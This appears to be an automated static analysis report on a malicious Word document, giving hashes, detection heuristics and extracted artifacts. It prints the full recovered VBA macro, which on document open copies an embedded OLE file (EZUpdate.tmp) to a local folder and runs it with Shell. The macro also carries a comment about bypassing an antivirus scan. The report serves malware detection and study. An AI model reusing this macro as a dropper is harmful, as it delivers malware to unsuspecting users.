Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b97960c29b7c8234…

MALICIOUS

Office (OOXML)

1.03 MB Created: 2016-02-27 13:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-08
MD5: 2c111a27d0d9d48e9470264b4c16b472 SHA-1: 427dfec6facdb69370a0637dec49b04d2a15a9cd SHA-256: b97960c29b7c8234981728b80060a42dbe32bf625b052854a6cc2175467cca89
260 Risk Score

Heuristics 10

  • Ole10Native package payload is a download-and-execute script critical OFFICE_PACKAGE_SCRIPT_DROPPER
    The OLE Package's embedded payload contains a script that hosts a shell (PowerShell/WScript/mshta), fetches a remote resource, and executes it — a download-and-run dropper. Embedding such a script inside an Office document via the Object Packager is a direct user-execution delivery technique (MITRE T1204.002), not a benign attachment.
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell fpath$
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                        CreateObject("Shell.Application").Namespace(Environ("LOCALAPPDATA")).Self.InvokeVerb "Paste"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
                    fpath$ = Environ("LOCALAPPDATA") + "\" + Ishp.OLEFormat.IconLabel
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/SMI/2005/WindowsSettingsEmbedded OLE package script

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3125 bytes
SHA-256: b10cee22006ac0d93451c66041f7b6740d5018c129eeb716425b6e3693fd2a61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public fpath As String


Private Sub Document_Open()
On Error GoTo Er3:

    SaveExeFile

    If InStr(System.OperatingSystem, "Windows") <> 0 Then
       ' ContentMode
    Else
        MsgBox "Please open this document in Windows Operating System"
    End If
    
    If Application.System.Version < 2 Then 'bypass
        MsgBox "helooo"
    End If
    
    
    
        
Er3:
End Sub

Private Sub Document_Close()
On Error GoTo Er4:

    If Application.System.Version >= 6.2 Then
        Shell fpath$
    End If
    
    ClearClipboard

    
Er4:
    Saved = True
End Sub


Sub ClearClipboard()
    Dim MyData As DataObject
    Set MyData = New DataObject
    MyData.SetText ""
    MyData.PutInClipboard
End Sub







Sub SaveExeFile()
    Dim Ishp As InlineShape
    For Each Ishp In ActiveDocument.InlineShapes
        If Ishp.Type = wdInlineShapeEmbeddedOLEObject Then
            If Ishp.OLEFormat.IconLabel Like "*.tmp*" Then
                Ishp.Range.Copy
                fpath$ = Environ("LOCALAPPDATA") + "\" + Ishp.OLEFormat.IconLabel
                If Application.System.Version >= 6.2 Then
                    CreateObject("Shell.Application").Namespace(Environ("LOCALAPPDATA")).Self.InvokeVerb "Paste"
                    fpath$ = Environ("LOCALAPPDATA") + "\" + Ishp.OLEFormat.IconLabel
                Else
                  fpath$ = Environ("temp") + "\" + Ishp.OLEFormat.IconLabel
                  
                  waitTill = Now() + TimeValue("00:00:03")
                  While Now() < waitTill
                      DoEvents
                  Wend
                    
                  Shell fpath$
                End If
            End If
        End If
    Next Ishp
End Sub


'  bypass Avira manuall Scan

Sub Dec()

Dim sKey As String
Dim payload As String
Dim Value As String

sKey = "KALLOBANK"
payload = "xxx$69=vno€}zp }btraze6*@<m&#("

Value = XorC(payload, sKey)
MsgBox Value

End Sub

Sub Dec1()

Dim sKey As String
Dim payload As String
Dim Value As String

sKey = "KALLOBANK"
payload = "xxx$69=vno€}zp }btraze6*@<m&#("

Value = XorC(payload, sKey)
MsgBox Value

End Sub

Sub Dec2()

Dim sKey As String
Dim payload As String
Dim Value As String

sKey = "KALLOBANK"
payload = "xxx$69=vno€}zp }btraze6*@<m&#("

Value = XorC(payload, sKey)
MsgBox Value

End Sub

Sub Dec3()

Dim sKey As String
Dim payload As String
Dim Value As String

sKey = "KALLOBANK"
payload = "xxx$69=vno€}zp }btraze6*@<m&#("

Value = XorC(payload, sKey)
MsgBox Value

End Sub

Sub Dec4()

Dim sKey As String
Dim payload As String
Dim Value As String

sKey = "KALLOBANK"
payload = "xxx$69=vno€}zp }btraze6*@<m&#("

Value = XorC(payload, sKey)
MsgBox Value

End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/oleObject1.bin 1205760 bytes
SHA-256: d84160f37e8aedfc4304100f0ea17c66ba8fec3267a3d2a65e3b4a594c7a6c2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.81, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML word/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 1193887 bytes
SHA-256: d551a0b497b06f7f1c34f2b681aaa887abb5c52dc6ebfc1f9886171e4b5e1c6b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.86, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00_EZUpdate.tmp ole-package-payload OOXML word/embeddings/oleObject1.bin Ole10Native payload: display_name=EZUpdate.tmp; full_path=C:\Users\Alex\AppData\Local\Temp\EZUpdate.tmp; temp_path=; def_file= 1193440 bytes
SHA-256: a64edb19e71549fb9248b27b58f911a4a1e8cd8b8e4adff93ecfb7e15a3cdad7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.86, consistent with packed or encrypted content.
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: bc5850612b1df961e4eda5c3a6787193c1c80a0eba3ffcb2ed98b16124ebb997
emf_00.emf ooxml-emf OOXML EMF part: word/media/image2.emf 5108 bytes
SHA-256: 11a00f020b9801f498164e3544db92d3ada9b04fded9d0a145dffc8e81432fa7